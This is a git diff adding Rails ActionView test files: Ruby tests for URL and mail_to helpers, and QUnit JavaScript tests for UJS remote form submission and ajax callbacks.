+    assert_dom_equal(
+      %{<a href="/"><span>Example site</span></a>},
+      link_to(url_hash) { content_tag(:span, "Example site") }
+    )
+  end
+
+  def test_link_tag_using_block_in_erb
+    out = render_erb %{<%= link_to('/') do %>Example site<% end %>}
+    assert_equal '<a href="/">Example site</a>', out
+  end
+
+  def test_link_tag_with_html_safe_string
+    assert_dom_equal(
+      %{<a href="/article/Gerd_M%C3%BCller">Gerd Müller</a>},
+      link_to("Gerd Müller", article_path("Gerd_Müller"))
+    )
+  end
+
+  def test_link_tag_escapes_content
+    assert_dom_equal %{<a href="/">Malicious &lt;script&gt;content&lt;/script&gt;</a>},
+      link_to("Malicious <script>content</script>", "/")
+  end
+
+  def test_link_tag_does_not_escape_html_safe_content
+    assert_dom_equal %{<a href="/">Malicious <script>content</script></a>},
+      link_to(raw("Malicious <script>content</script>"), "/")
+  end
+
+  def test_link_to_unless
+    assert_equal "Showing", link_to_unless(true, "Showing", url_hash)
+
+    assert_dom_equal %{<a href="/">Listing</a>},
+      link_to_unless(false, "Listing", url_hash)
+
+    assert_equal "<strong>Showing</strong>",
+      link_to_unless(true, "Showing", url_hash) { |name|
+        raw "<strong>#{name}</strong>"
+      }
+
+    assert_equal "test",
+      link_to_unless(true, "Showing", url_hash) {
+        "test"
+      }
+
+    assert_equal %{&lt;b&gt;Showing&lt;/b&gt;}, link_to_unless(true, "<b>Showing</b>", url_hash)
+    assert_equal %{<a href="/">&lt;b&gt;Showing&lt;/b&gt;</a>}, link_to_unless(false, "<b>Showing</b>", url_hash)
+    assert_equal %{<b>Showing</b>}, link_to_unless(true, raw("<b>Showing</b>"), url_hash)
+    assert_equal %{<a href="/"><b>Showing</b></a>}, link_to_unless(false, raw("<b>Showing</b>"), url_hash)
+  end
+
+  def test_link_to_if
+    assert_equal "Showing", link_to_if(false, "Showing", url_hash)
+    assert_dom_equal %{<a href="/">Listing</a>}, link_to_if(true, "Listing", url_hash)
+  end
+
+  def test_link_to_if_with_block
+    assert_equal "Fallback", link_to_if(false, "Showing", url_hash) { "Fallback" }
+    assert_dom_equal %{<a href="/">Listing</a>}, link_to_if(true, "Listing", url_hash) { "Fallback" }
+  end
+
+  def request_for_url(url, opts = {})
+    env = Rack::MockRequest.env_for("http://www.example.com#{url}", opts)
+    ActionDispatch::Request.new(env)
+  end
+
+  def test_current_page_with_http_head_method
+    @request = request_for_url("/", method: :head)
+    assert current_page?(url_hash)
+    assert current_page?("http://www.example.com/")
+  end
+
+  def test_current_page_with_simple_url
+    @request = request_for_url("/")
+    assert current_page?(url_hash)
+    assert current_page?("http://www.example.com/")
+  end
+
+  def test_current_page_ignoring_params
+    @request = request_for_url("/?order=desc&page=1")
+
+    assert current_page?(url_hash)
+    assert current_page?("http://www.example.com/")
+  end
+
+  def test_current_page_considering_params
+    @request = request_for_url("/?order=desc&page=1")
+
+    assert !current_page?(url_hash, check_parameters: true)
+    assert !current_page?(url_hash.merge(check_parameters: true))
+    assert !current_page?(ActionController::Parameters.new(url_hash.merge(check_parameters: true)).permit!)
+    assert !current_page?("http://www.example.com/", check_parameters: true)
+  end
+
+  def test_current_page_considering_params_when_options_does_not_respond_to_to_hash
+    @request = request_for_url("/?order=desc&page=1")
+
+    assert !current_page?(:back, check_parameters: false)
+  end
+
+  def test_current_page_with_params_that_match
+    @request = request_for_url("/?order=desc&page=1")
+
+    assert current_page?(hash_for(order: "desc", page: "1"))
+    assert current_page?("http://www.example.com/?order=desc&page=1")
+  end
+
+  def test_current_page_with_scope_that_match
+    @request = request_for_url("/engine/")
+
+    assert current_page?("/engine")
+  end
+
+  def test_current_page_with_escaped_params
+    @request = request_for_url("/category/administra%c3%a7%c3%a3o")
+
+    assert current_page?(controller: "foo", action: "category", category: "administração")
+  end
+
+  def test_current_page_with_escaped_params_with_different_encoding
+    @request = request_for_url("/")
+    @request.stub(:path, "/category/administra%c3%a7%c3%a3o".dup.force_encoding(Encoding::ASCII_8BIT)) do
+      assert current_page?(controller: "foo", action: "category", category: "administração")
+      assert current_page?("http://www.example.com/category/administra%c3%a7%c3%a3o")
+    end
+  end
+
+  def test_current_page_with_double_escaped_params
+    @request = request_for_url("/category/administra%c3%a7%c3%a3o?callback_url=http%3a%2f%2fexample.com%2ffoo")
+
+    assert current_page?(controller: "foo", action: "category", category: "administração", callback_url: "http://example.com/foo")
+  end
+
+  def test_current_page_with_trailing_slash
+    @request = request_for_url("/posts")
+
+    assert current_page?("/posts/")
+  end
+
+  def test_current_page_with_not_get_verb
+    @request = request_for_url("/events", method: :post)
+
+    assert !current_page?("/events")
+  end
+
+  def test_link_unless_current
+    @request = request_for_url("/")
+
+    assert_equal "Showing",
+      link_to_unless_current("Showing", url_hash)
+    assert_equal "Showing",
+      link_to_unless_current("Showing", "http://www.example.com/")
+
+    @request = request_for_url("/?order=desc")
+
+    assert_equal "Showing",
+      link_to_unless_current("Showing", url_hash)
+    assert_equal "Showing",
+      link_to_unless_current("Showing", "http://www.example.com/")
+
+    @request = request_for_url("/?order=desc&page=1")
+
+    assert_equal "Showing",
+      link_to_unless_current("Showing", hash_for(order: "desc", page: "1"))
+    assert_equal "Showing",
+      link_to_unless_current("Showing", "http://www.example.com/?order=desc&page=1")
+
+    @request = request_for_url("/?order=desc")
+
+    assert_equal %{<a href="/?order=asc">Showing</a>},
+      link_to_unless_current("Showing", hash_for(order: :asc))
+    assert_equal %{<a href="http://www.example.com/?order=asc">Showing</a>},
+      link_to_unless_current("Showing", "http://www.example.com/?order=asc")
+
+    @request = request_for_url("/?order=desc")
+    assert_equal %{<a href="/?order=desc&amp;page=2\">Showing</a>},
+      link_to_unless_current("Showing", hash_for(order: "desc", page: 2))
+    assert_equal %{<a href="http://www.example.com/?order=desc&amp;page=2">Showing</a>},
+      link_to_unless_current("Showing", "http://www.example.com/?order=desc&page=2")
+
+    @request = request_for_url("/show")
+
+    assert_equal %{<a href="/">Listing</a>},
+      link_to_unless_current("Listing", url_hash)
+    assert_equal %{<a href="http://www.example.com/">Listing</a>},
+      link_to_unless_current("Listing", "http://www.example.com/")
+  end
+
+  def test_link_to_unless_with_block
+    assert_dom_equal %{<a href="/">Showing</a>}, link_to_unless(false, "Showing", url_hash) { "Fallback" }
+    assert_equal "Fallback", link_to_unless(true, "Listing", url_hash) { "Fallback" }
+  end
+
+  def test_mail_to
+    assert_dom_equal %{<a href="mailto:david@loudthinking.com">david@loudthinking.com</a>}, mail_to("david@loudthinking.com")
+    assert_dom_equal %{<a href="mailto:david@loudthinking.com">David Heinemeier Hansson</a>}, mail_to("david@loudthinking.com", "David Heinemeier Hansson")
+    assert_dom_equal(
+      %{<a class="admin" href="mailto:david@loudthinking.com">David Heinemeier Hansson</a>},
+      mail_to("david@loudthinking.com", "David Heinemeier Hansson", "class" => "admin")
+    )
+    assert_equal mail_to("david@loudthinking.com", "David Heinemeier Hansson", "class" => "admin"),
+                 mail_to("david@loudthinking.com", "David Heinemeier Hansson", class: "admin")
+  end
+
+  def test_mail_to_with_special_characters
+    assert_dom_equal(
+      %{<a href="mailto:%23%21%24%25%26%27%2A%2B-%2F%3D%3F%5E_%60%7B%7D%7C@example.org">#!$%&amp;&#39;*+-/=?^_`{}|@example.org</a>},
+      mail_to("#!$%&'*+-/=?^_`{}|@example.org")
+    )
+  end
+
+  def test_mail_with_options
+    assert_dom_equal(
+      %{<a href="mailto:me@example.com?cc=ccaddress%40example.com&amp;bcc=bccaddress%40example.com&amp;body=This%20is%20the%20body%20of%20the%20message.&amp;subject=This%20is%20an%20example%20email&amp;reply-to=foo%40bar.com">My email</a>},
+      mail_to("me@example.com", "My email", cc: "ccaddress@example.com", bcc: "bccaddress@example.com", subject: "This is an example email", body: "This is the body of the message.", reply_to: "foo@bar.com")
+    )
+
+    assert_dom_equal(
+      %{<a href="mailto:me@example.com?body=This%20is%20the%20body%20of%20the%20message.&amp;subject=This%20is%20an%20example%20email">My email</a>},
+      mail_to("me@example.com", "My email", cc: "", bcc: "", subject: "This is an example email", body: "This is the body of the message.")
+    )
+  end
+
+  def test_mail_to_with_img
+    assert_dom_equal %{<a href="mailto:feedback@example.com"><img src="/feedback.png" /></a>},
+      mail_to("feedback@example.com", raw('<img src="/feedback.png" />'))
+  end
+
+  def test_mail_to_with_html_safe_string
+    assert_dom_equal(
+      %{<a href="mailto:david@loudthinking.com">david@loudthinking.com</a>},
+      mail_to(raw("david@loudthinking.com"))
+    )
+  end
+
+  def test_mail_to_with_nil
+    assert_dom_equal(
+      %{<a href="mailto:"></a>},
+      mail_to(nil)
+    )
+  end
+
+  def test_mail_to_returns_html_safe_string
+    assert mail_to("david@loudthinking.com").html_safe?
+  end
+
+  def test_mail_to_with_block
+    assert_dom_equal %{<a href="mailto:me@example.com"><span>Email me</span></a>},
+      mail_to("me@example.com") { content_tag(:span, "Email me") }
+  end
+
+  def test_mail_to_with_block_and_options
+    assert_dom_equal %{<a class="special" href="mailto:me@example.com?cc=ccaddress%40example.com"><span>Email me</span></a>},
+      mail_to("me@example.com", cc: "ccaddress@example.com", class: "special") { content_tag(:span, "Email me") }
+  end
+
+  def test_mail_to_does_not_modify_html_options_hash
+    options = { class: "special" }
+    mail_to "me@example.com", "ME!", options
+    assert_equal({ class: "special" }, options)
+  end
+
+  def protect_against_forgery?
+    request_forgery
+  end
+
+  def form_authenticity_token(*args)
+    "secret"
+  end
+
+  def request_forgery_protection_token
+    "form_token"
+  end
+end
+
+class UrlHelperControllerTest < ActionController::TestCase
+  class UrlHelperController < ActionController::Base
+    test_routes do
+      get "url_helper_controller_test/url_helper/show/:id",
+        to: "url_helper_controller_test/url_helper#show",
+        as: :show
+
+      get "url_helper_controller_test/url_helper/profile/:name",
+        to: "url_helper_controller_test/url_helper#show",
+        as: :profile
+
+      get "url_helper_controller_test/url_helper/show_named_route",
+        to: "url_helper_controller_test/url_helper#show_named_route",
+        as: :show_named_route
+
+      ActiveSupport::Deprecation.silence do
+        get "/:controller(/:action(/:id))"
+      end
+
+      get "url_helper_controller_test/url_helper/normalize_recall_params",
+        to: UrlHelperController.action(:normalize_recall),
+        as: :normalize_recall_params
+
+      get "/url_helper_controller_test/url_helper/override_url_helper/default",
+        to: "url_helper_controller_test/url_helper#override_url_helper",
+        as: :override_url_helper
+    end
+
+    def show
+      if params[:name]
+        render inline: "ok"
+      else
+        redirect_to profile_path(params[:id])
+      end
+    end
+
+    def show_url_for
+      render inline: "<%= url_for controller: 'url_helper_controller_test/url_helper', action: 'show_url_for' %>"
+    end
+
+    def show_named_route
+      render inline: "<%= show_named_route_#{params[:kind]} %>"
+    end
+
+    def nil_url_for
+      render inline: "<%= url_for(nil) %>"
+    end
+
+    def normalize_recall_params
+      render inline: "<%= normalize_recall_params_path %>"
+    end
+
+    def recall_params_not_changed
+      render inline: "<%= url_for(action: :show_url_for) %>"
+    end
+
+    def override_url_helper
+      render inline: "<%= override_url_helper_path %>"
+    end
+
+    def override_url_helper_path
+      "/url_helper_controller_test/url_helper/override_url_helper/override"
+    end
+    helper_method :override_url_helper_path
+  end
+
+  tests UrlHelperController
+
+  def test_url_for_shows_only_path
+    get :show_url_for
+    assert_equal "/url_helper_controller_test/url_helper/show_url_for", @response.body
+  end
+
+  def test_named_route_url_shows_host_and_path
+    get :show_named_route, params: { kind: "url" }
+    assert_equal "http://test.host/url_helper_controller_test/url_helper/show_named_route",
+      @response.body
+  end
+
+  def test_named_route_path_shows_only_path
+    get :show_named_route, params: { kind: "path" }
+    assert_equal "/url_helper_controller_test/url_helper/show_named_route", @response.body
+  end
+
+  def test_url_for_nil_returns_current_path
+    get :nil_url_for
+    assert_equal "/url_helper_controller_test/url_helper/nil_url_for", @response.body
+  end
+
+  def test_named_route_should_show_host_and_path_using_controller_default_url_options
+    class << @controller
+      def default_url_options
+        { host: "testtwo.host" }
+      end
+    end
+
+    get :show_named_route, params: { kind: "url" }
+    assert_equal "http://testtwo.host/url_helper_controller_test/url_helper/show_named_route", @response.body
+  end
+
+  def test_recall_params_should_be_normalized
+    get :normalize_recall_params
+    assert_equal "/url_helper_controller_test/url_helper/normalize_recall_params", @response.body
+  end
+
+  def test_recall_params_should_not_be_changed
+    get :recall_params_not_changed
+    assert_equal "/url_helper_controller_test/url_helper/show_url_for", @response.body
+  end
+
+  def test_recall_params_should_normalize_id
+    get :show, params: { id: "123" }
+    assert_equal 302, @response.status
+    assert_equal "http://test.host/url_helper_controller_test/url_helper/profile/123", @response.location
+
+    get :show, params: { name: "123" }
+    assert_equal "ok", @response.body
+  end
+
+  def test_url_helper_can_be_overridden
+    get :override_url_helper
+    assert_equal "/url_helper_controller_test/url_helper/override_url_helper/override", @response.body
+  end
+end
+
+class TasksController < ActionController::Base
+  test_routes do
+    resources :tasks
+  end
+
+  def index
+    render_default
+  end
+
+  def show
+    render_default
+  end
+
+  private
+    def render_default
+      render inline: "<%= link_to_unless_current('tasks', tasks_path) %>\n" \
+        "<%= link_to_unless_current('tasks', tasks_url) %>"
+    end
+end
+
+class LinkToUnlessCurrentWithControllerTest < ActionController::TestCase
+  tests TasksController
+
+  def test_link_to_unless_current_to_current
+    get :index
+    assert_equal "tasks\ntasks", @response.body
+  end
+
+  def test_link_to_unless_current_shows_link
+    get :show, params: { id: 1 }
+    assert_equal %{<a href="/tasks">tasks</a>\n} +
+      %{<a href="#{@request.protocol}#{@request.host_with_port}/tasks">tasks</a>},
+      @response.body
+  end
+end
+
+class Session
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+  attr_accessor :id, :workshop_id
+
+  def initialize(id)
+    @id = id
+  end
+
+  def persisted?
+    id.present?
+  end
+
+  def to_s
+    id.to_s
+  end
+end
+
+class WorkshopsController < ActionController::Base
+  test_routes do
+    resources :workshops do
+      resources :sessions
+    end
+  end
+
+  def index
+    @workshop = Workshop.new(nil)
+    render inline: "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
+  end
+
+  def show
+    @workshop = Workshop.new(params[:id])
+    render inline: "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
+  end
+
+  def edit
+    @workshop = Workshop.new(params[:id])
+    render inline: "<%= current_page?(@workshop) %>"
+  end
+end
+
+class SessionsController < ActionController::Base
+  test_routes do
+    resources :workshops do
+      resources :sessions
+    end
+  end
+
+  def index
+    @workshop = Workshop.new(params[:workshop_id])
+    @session = Session.new(nil)
+    render inline: "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
+  end
+
+  def show
+    @workshop = Workshop.new(params[:workshop_id])
+    @session = Session.new(params[:id])
+    render inline: "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
+  end
+
+  def edit
+    @workshop = Workshop.new(params[:workshop_id])
+    @session = Session.new(params[:id])
+    @url = [@workshop, @session, format: params[:format]]
+    render inline: "<%= url_for(@url) %>\n<%= link_to('Session', @url) %>"
+  end
+end
+
+class PolymorphicControllerTest < ActionController::TestCase
+  def test_new_resource
+    @controller = WorkshopsController.new
+
+    get :index
+    assert_equal %{/workshops\n<a href="/workshops">Workshop</a>}, @response.body
+  end
+
+  def test_existing_resource
+    @controller = WorkshopsController.new
+
+    get :show, params: { id: 1 }
+    assert_equal %{/workshops/1\n<a href="/workshops/1">Workshop</a>}, @response.body
+  end
+
+  def test_new_nested_resource
+    @controller = SessionsController.new
+
+    get :index, params: { workshop_id: 1 }
+    assert_equal %{/workshops/1/sessions\n<a href="/workshops/1/sessions">Session</a>}, @response.body
+  end
+
+  def test_existing_nested_resource
+    @controller = SessionsController.new
+
+    get :show, params: { workshop_id: 1, id: 1 }
+    assert_equal %{/workshops/1/sessions/1\n<a href="/workshops/1/sessions/1">Session</a>}, @response.body
+  end
+
+  def test_existing_nested_resource_with_params
+    @controller = SessionsController.new
+
+    get :edit, params: { workshop_id: 1, id: 1, format: "json"  }
+    assert_equal %{/workshops/1/sessions/1.json\n<a href="/workshops/1/sessions/1.json">Session</a>}, @response.body
+  end
+
+  def test_current_page_when_options_does_not_respond_to_to_hash
+    @controller = WorkshopsController.new
+
+    get :edit, params: { id: 1 }
+    assert_equal "false", @response.body
+  end
+end
diff --git a/actionview/test/tmp/.gitkeep b/actionview/test/tmp/.gitkeep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionview/test/tmp/.gitkeep
diff --git a/actionview/test/ujs/.gitignore b/actionview/test/ujs/.gitignore
new file mode 100644
index 0000000000..31dbbff57c
--- /dev/null
+++ b/actionview/test/ujs/.gitignore
@@ -0,0 +1 @@
+/log
diff --git a/actionview/test/ujs/config.ru b/actionview/test/ujs/config.ru
new file mode 100644
index 0000000000..7cd3a16acb
--- /dev/null
+++ b/actionview/test/ujs/config.ru
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+$LOAD_PATH.unshift __dir__
+require "server"
+
+run UJS::Server
diff --git a/actionview/test/ujs/public/test/.eslintrc.yml b/actionview/test/ujs/public/test/.eslintrc.yml
new file mode 100644
index 0000000000..06d7dd36ea
--- /dev/null
+++ b/actionview/test/ujs/public/test/.eslintrc.yml
@@ -0,0 +1,21 @@
+env:
+  browser: true
+extends: eslint:recommended
+rules:
+  no-undef: off
+  no-unused-vars: off
+  indent: off
+  linebreak-style: ['error', 'unix']
+  quotes: ['error', 'single']
+  semi: ['error', 'never']
+  no-shadow: ['error'] # Prevent potential errors
+  no-console: 'off'
+  # styles
+  space-before-function-paren: ['error', 'never']
+  space-before-blocks: 'error'
+  brace-style: ['error', '1tbs', { allowSingleLine: true }]
+  key-spacing: 'error'
+  array-bracket-spacing: 'error'
+  comma-spacing: 'error'
+  comma-dangle: 'off'
+  eol-last: 'error'
diff --git a/actionview/test/ujs/public/test/call-remote-callbacks.js b/actionview/test/ujs/public/test/call-remote-callbacks.js
new file mode 100644
index 0000000000..707e21541d
--- /dev/null
+++ b/actionview/test/ujs/public/test/call-remote-callbacks.js
@@ -0,0 +1,273 @@
+(function() {
+
+module('call-remote-callbacks', {
+  setup: function() {
+    $('#qunit-fixture').append($('<form />', {
+      action: '/echo', method: 'get', 'data-remote': 'true'
+    }))
+  },
+  teardown: function() {
+    $(document).undelegate('form[data-remote]', 'ajax:beforeSend')
+    $(document).undelegate('form[data-remote]', 'ajax:before')
+    $(document).undelegate('form[data-remote]', 'ajax:send')
+    $(document).undelegate('form[data-remote]', 'ajax:complete')
+    $(document).undelegate('form[data-remote]', 'ajax:success')
+    $(document).unbind('ajaxStop')
+    $(document).unbind('iframe:loading')
+  }
+})
+
+function start_after_submit(form) {
+  form.bindNative('ajax:complete', function() {
+    ok(true, 'ajax:complete')
+    start()
+  })
+}
+
+function submit(fn) {
+  var form = $('form')
+  start_after_submit(form)
+
+  if (fn) fn(form)
+  form.triggerNative('submit')
+}
+
+function submit_with_button(submit_button) {
+  var form = $('form')
+  start_after_submit(form)
+
+  submit_button.triggerNative('click')
+}
+
+asyncTest('modifying form fields with "ajax:before" sends modified data in request', 4, function() {
+  $('form[data-remote]')
+    .append($('<input type="text" name="user_name" value="john">'))
+    .append($('<input type="text" name="removed_user_name" value="john">'))
+    .bindNative('ajax:before', function() {
+      var form = $(this)
+      form
+        .append($('<input />', {name: 'other_user_name', value: 'jonathan'}))
+        .find('input[name="removed_user_name"]').remove()
+      form
+        .find('input[name="user_name"]').val('steve')
+    })
+
+  submit(function(form) {
+    form.bindNative('ajax:success', function(e, data, status, xhr) {
+      equal(data.params.user_name, 'steve', 'modified field value should have been submitted')
+      equal(data.params.other_user_name, 'jonathan', 'added field value should have been submitted')
+      equal(data.params.removed_user_name, undefined, 'removed field value should be undefined')
+    })
+  })
+})
+
+asyncTest('modifying data("type") with "ajax:before" requests new dataType in request', 2, function() {
+  $('form[data-remote]').data('type', 'html')
+    .bindNative('ajax:before', function() {
+      this.setAttribute('data-type', 'xml')
+    })
+
+  submit(function(form) {
+    form.bindNative('ajax:beforeSend', function(e, xhr, settings) {
+      equal(settings.dataType, 'xml', 'modified dataType should have been requested')
+    })
+  })
+})
+
+asyncTest('setting data("with-credentials",true) with "ajax:before" uses new setting in request', 2, function() {
+  $('form[data-remote]').data('with-credentials', false)
+    .bindNative('ajax:before', function() {
+      this.setAttribute('data-with-credentials', true)
+    })
+
+  submit(function(form) {
+    form.bindNative('ajax:beforeSend', function(e, xhr, settings) {
+      equal(settings.withCredentials, true, 'setting modified in ajax:before should have forced withCredentials request')
+    })
+  })
+})
+
+asyncTest('stopping the "ajax:beforeSend" event aborts the request', 1, function() {
+  submit(function(form) {
+    form.bindNative('ajax:beforeSend', function() {
+      ok(true, 'aborting request in ajax:beforeSend')
+      return false
+    })
+    form.unbind('ajax:send').bindNative('ajax:send', function() {
+      ok(false, 'ajax:send should not run')
+    })
+    form.unbind('ajax:complete').bindNative('ajax:complete', function() {
+      ok(false, 'ajax:complete should not run')
+    })
+    form.bindNative('ajax:error', function(e, xhr, status, error) {
+      ok(false, 'ajax:error should not run')
+    })
+    $(document).bindNative('ajaxStop', function() {
+      start()
+    })
+  })
+})
+
+function skipIt() {
+  // This test cannot work due to the security feature in browsers which makes the value
+  // attribute of file input fields readonly, so it cannot be set with default value.
+  // This is what the test would look like though if browsers let us automate this test.
+  asyncTest('non-blank file form input field should abort remote request, but submit normally', 5, function() {
+    var form = $('form[data-remote]')
+          .append($('<input type="file" name="attachment" value="default.png">'))
+          .bindNative('ajax:beforeSend', function() {
+            ok(false, 'ajax:beforeSend should not run')
+          })
+          .bind('iframe:loading', function() {
+            ok(true, 'form should get submitted')
+          })
+          .bindNative('ajax:aborted:file', function(e, data) {
+            ok(data.length == 1, 'ajax:aborted:file event is passed all non-blank file inputs (jQuery objects)')
+            ok(data.first().is('input[name="attachment"]'), 'ajax:aborted:file adds non-blank file input to data')
+            ok(true, 'ajax:aborted:file event should run')
+          })
+          .triggerNative('submit')
+
+    setTimeout(function() {
+      form.find('input[type="file"]').val('')
+      form.unbind('ajax:beforeSend')
+      submit()
+    }, 13)
+  })
+
+  asyncTest('file form input field should not abort remote request if file form input does not have a name attribute', 5, function() {
+    var form = $('form[data-remote]')
+          .append($('<input type="file" value="default.png">'))
+          .bindNative('ajax:beforeSend', function() {
+            ok(true, 'ajax:beforeSend should run')
+          })
+          .bind('iframe:loading', function() {
+            ok(true, 'form should get submitted')
+          })
+          .bindNative('ajax:aborted:file', function(e, data) {
+            ok(false, 'ajax:aborted:file should not run')
+          })
+          .triggerNative('submit')
+
+    setTimeout(function() {
+      form.find('input[type="file"]').val('')
+      form.unbind('ajax:beforeSend')
+      submit()
+    }, 13)
+  })
+
+  asyncTest('blank file input field should abort request entirely if handler bound to "ajax:aborted:file" event that returns false', 1, function() {
+    var form = $('form[data-remote]')
+          .append($('<input type="file" name="attachment" value="default.png">'))
+          .bindNative('ajax:beforeSend', function() {
+            ok(false, 'ajax:beforeSend should not run')
+          })
+          .bind('iframe:loading', function() {
+            ok(false, 'form should not get submitted')
+          })
+          .bindNative('ajax:aborted:file', function() {
+            return false
+          })
+          .triggerNative('submit')
+
+    setTimeout(function() {
+      form.find('input[type="file"]').val('')
+      form.unbind('ajax:beforeSend')
+      submit()
+    }, 13)
+  })
+}
+
+asyncTest('"ajax:beforeSend" can be observed and stopped with event delegation', 1, function() {
+  $(document).delegate('form[data-remote]', 'ajax:beforeSend', function() {
+    ok(true, 'ajax:beforeSend observed with event delegation')
+    return false
+  })
+
+  submit(function(form) {
+    form.unbind('ajax:send').bindNative('ajax:send', function() {
+      ok(false, 'ajax:send should not run')
+    })
+    form.unbind('ajax:complete').bindNative('ajax:complete', function() {
+      ok(false, 'ajax:complete should not run')
+    })
+    $(document).bindNative('ajaxStop', function() {
+      start()
+    })
+  })
+})
+
+asyncTest('"ajax:beforeSend", "ajax:send", "ajax:success" and "ajax:complete" are triggered', 9, function() {
+  submit(function(form) {
+    form.bindNative('ajax:beforeSend', function(e, xhr, settings) {
+      ok(xhr.setRequestHeader, 'first argument to "ajax:beforeSend" should be an XHR object')
+      equal(settings.url, '/echo', 'second argument to "ajax:beforeSend" should be a settings object')
+    })
+    form.bindNative('ajax:send', function(e, xhr) {
+      ok(xhr.abort, 'first argument to "ajax:send" should be an XHR object')
+    })
+    form.bindNative('ajax:success', function(e, data, status, xhr) {
+      ok(data.REQUEST_METHOD, 'first argument to ajax:success should be a data object')
+      equal(status, 'OK', 'second argument to ajax:success should be a status string')
+      ok(xhr.getResponseHeader, 'third argument to "ajax:success" should be an XHR object')
+    })
+    form.bindNative('ajax:complete', function(e, xhr, status) {
+      ok(xhr.getResponseHeader, 'first argument to "ajax:complete" should be an XHR object')
+      equal(status, 'OK', 'second argument to ajax:complete should be a status string')
+    })
+  })
+})
+
+if(window.phantom !== undefined) {
+  asyncTest('"ajax:beforeSend", "ajax:send", "ajax:error" and "ajax:complete" are triggered on error', 7, function() {
+    submit(function(form) {
+      form.attr('action', '/error')
+      form.bindNative('ajax:beforeSend', function(arg) { ok(true, 'ajax:beforeSend') })
+      form.bindNative('ajax:send', function(arg) { ok(true, 'ajax:send') })
+      form.bindNative('ajax:error', function(e, xhr, status, error) {
+        ok(xhr.getResponseHeader, 'first argument to "ajax:error" should be an XHR object')
+        equal(status, 'error', 'second argument to ajax:error should be a status string')
+        // Firefox 8 returns "Forbidden " with trailing space
+        equal($.trim(error), 'Forbidden', 'third argument to ajax:error should be an HTTP status response')
+        // Opera returns "0" for HTTP code
+        equal(xhr.status, window.opera ? 0 : 403, 'status code should be 403')
+      })
+    })
+  })
+}
+
+// IF THIS TEST IS FAILING, TRY INCREASING THE TIMEOUT AT THE BOTTOM TO > 100
+asyncTest('binding to ajax callbacks via .delegate() triggers handlers properly', 4, function() {
+  $(document)
+    .delegate('form[data-remote]', 'ajax:beforeSend', function() {
+      ok(true, 'ajax:beforeSend handler is triggered')
+    })
+    .delegate('form[data-remote]', 'ajax:send', function() {
+      ok(true, 'ajax:send handler is triggered')
+    })
+    .delegate('form[data-remote]', 'ajax:complete', function() {
+      ok(true, 'ajax:complete handler is triggered')
+    })
+    .delegate('form[data-remote]', 'ajax:success', function() {
+      ok(true, 'ajax:success handler is triggered')
+    })
+  $('form[data-remote]').triggerNative('submit')
+
+  setTimeout(function() {
+    start()
+  }, 63)
+})
+
+asyncTest('binding to ajax:send event to call jquery methods on ajax object', 2, function() {
+  $('form[data-remote]')
+    .bindNative('ajax:send', function(e, xhr) {
+      ok(true, 'event should fire')
+      equal(typeof(xhr.abort), 'function', 'event should pass jqXHR object')
+      xhr.abort()
+    })
+    .triggerNative('submit')
+
+  setTimeout(function() { start() }, 35)
+})
+
+})()
diff --git a/actionview/test/ujs/public/test/call-remote.js b/actionview/test/ujs/public/test/call-remote.js
new file mode 100644
index 0000000000..5932195363
--- /dev/null
+++ b/actionview/test/ujs/public/test/call-remote.js
@@ -0,0 +1,275 @@
+(function() {
+
+function buildForm(attrs) {
+  attrs = $.extend({ action: '/echo', 'data-remote': 'true' }, attrs)
+
+  $('#qunit-fixture').append($('<form />', attrs))
+    .find('form').append($('<input type="text" name="user_name" value="john">'))
+}
+
+module('call-remote')
+
+function submit(fn) {
+  $('form')
+    .bindNative('ajax:success', fn)
+    .bindNative('ajax:complete', function() { start() })
+    .triggerNative('submit')
+}
+
+asyncTest('form method is read from "method" and not from "data-method"', 1, function() {
+  buildForm({ method: 'post', 'data-method': 'get' })
+
+  submit(function(e, data, status, xhr) {
+    App.assertPostRequest(data)
+  })
+})
+
+asyncTest('form method is not read from "data-method" attribute in case of missing "method"', 1, function() {
+  buildForm({ 'data-method': 'put' })
+
+  submit(function(e, data, status, xhr) {
+    App.assertGetRequest(data)
+  })
+})
+
+asyncTest('form method is read from submit button "formmethod" if submit is triggered by that button', 1, function() {
+  var submitButton = $('<input type="submit" formmethod="get">')
+  buildForm({ method: 'post' })
+
+  $('#qunit-fixture').find('form').append(submitButton)
+    .bindNative('ajax:success', function(e, data, status, xhr) {
+      App.assertGetRequest(data)
+    })
+    .bindNative('ajax:complete', function() { start() })
+
+  submitButton.triggerNative('click')
+})
+
+asyncTest('form default method is GET', 1, function() {
+  buildForm()
+
+  submit(function(e, data, status, xhr) {
+    App.assertGetRequest(data)
+  })
+})
+
+asyncTest('form url is picked up from "action"', 1, function() {
+  buildForm({ method: 'post' })
+
+  submit(function(e, data, status, xhr) {
+    App.assertRequestPath(data, '/echo')
+  })
+})
+
+asyncTest('form url is read from "action" not "href"', 1, function() {
+  buildForm({ method: 'post', href: '/echo2' })
+
+  submit(function(e, data, status, xhr) {
+    App.assertRequestPath(data, '/echo')
+  })
+})
+
+asyncTest('form url is read from submit button "formaction" if submit is triggered by that button', 1, function() {
+  var submitButton = $('<input type="submit" formaction="/echo">')
+  buildForm({ method: 'post', href: '/echo2' })
+
+  $('#qunit-fixture').find('form').append(submitButton)
+    .bindNative('ajax:success', function(e, data, status, xhr) {
+      App.assertRequestPath(data, '/echo')
+    })
+    .bindNative('ajax:complete', function() { start() })
+
+  submitButton.triggerNative('click')
+})
+
+asyncTest('prefer JS, but accept any format', 1, function() {
+  buildForm({ method: 'post' })
+
+  submit(function(e, data, status, xhr) {
+    var accept = data.HTTP_ACCEPT
+    ok(accept.match(/text\/javascript.+\*\/\*/), 'Accept: ' + accept)
+  })
+})
+
+asyncTest('JS code should be executed', 1, function() {
+  buildForm({ method: 'post', 'data-type': 'script' })
+
+  $('form').append('<input type="text" name="content_type" value="text/javascript">')
+  $('form').append('<input type="text" name="content" value="ok(true, \'remote code should be run\')">')
+
+  submit()
+})
+
+asyncTest('ecmascript code should be executed', 1, function() {
+  buildForm({ method: 'post', 'data-type': 'script' })
+
+  $('form').append('<input type="text" name="content_type" value="application/ecmascript">')
+  $('form').append('<input type="text" name="content" value="ok(true, \'remote code should be run\')">')
+
+  submit()
+})
